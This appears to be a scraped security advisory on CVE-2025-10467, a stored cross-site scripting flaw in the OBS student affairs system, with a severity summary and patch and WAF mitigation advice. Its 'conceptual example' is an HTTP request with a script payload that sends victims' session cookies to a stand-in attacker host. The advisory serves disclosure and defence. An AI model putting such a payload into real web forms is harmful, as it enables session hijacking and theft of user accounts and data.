Overview<\/strong><\/p>\n

The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant security vulnerability, CVE-2025-10467, which affects the OBS (Student Affairs Information System) developed by PROLIZ Computer Software Hardware Service Trade Ltd. Co. This vulnerability is of significant concern due to the system’s wide adoption by educational institutions globally, and the potential consequences if exploited. The vulnerability pertains to an instance of Improper Neutralization of Input During Web Page Generation, more commonly referred to as ‘Cross-site Scripting’ or XSS. An attacker exploiting this vulnerability could compromise the system or leak sensitive data<\/a>, posing a significant risk to the integrity and confidentiality of the information managed by these institutions.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-10467
\nSeverity: High (CVSS Score 8.9)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: Required
\nImpact: Potential system<\/a> compromise and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

OBS (Student Affairs Information System<\/a>) | Before v25.0401<\/p>\n

How the Exploit Works<\/strong><\/p>\n

This vulnerability arises from an improper neutralization of user input during the web page generation process within the OBS<\/a> system. The flaw allows<\/a> a malicious actor to inject client-side scripts into web pages viewed by other users, a method known as stored XSS. These scripts could potentially be designed to steal user session cookies, deface web pages, or perform other unauthorized actions that compromise the system’s data<\/a> integrity and confidentiality.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The following is a conceptual example of how the vulnerability might be exploited:<\/p>\n

POST \/student\/updateProfile HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n\"name\": \"John Doe\",\n\"bio\": \"<script>new Image().src='http:\/\/attacker.example.net\/steal.php?cookie='+document.cookie;<\/script>\"\n}<\/code><\/pre>\n
In the above example, a malicious script is embedded into the user’s bio. When other users view this profile<\/a>, the embedded script is executed, sending the victim’s session cookie to the attacker’s server, effectively compromising the user’s session.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
The recommended mitigation for this vulnerability is to apply the vendor-provided patch. If this is not immediately possible, a temporary solution is to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to filter out potential XSS<\/a> attack vectors. However, these are not foolproof solutions and can only serve as a stopgap measure until the patch can be applied. Further, developers are advised to follow secure coding practices such as input validation and output encoding to prevent such vulnerabilities<\/a> in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"
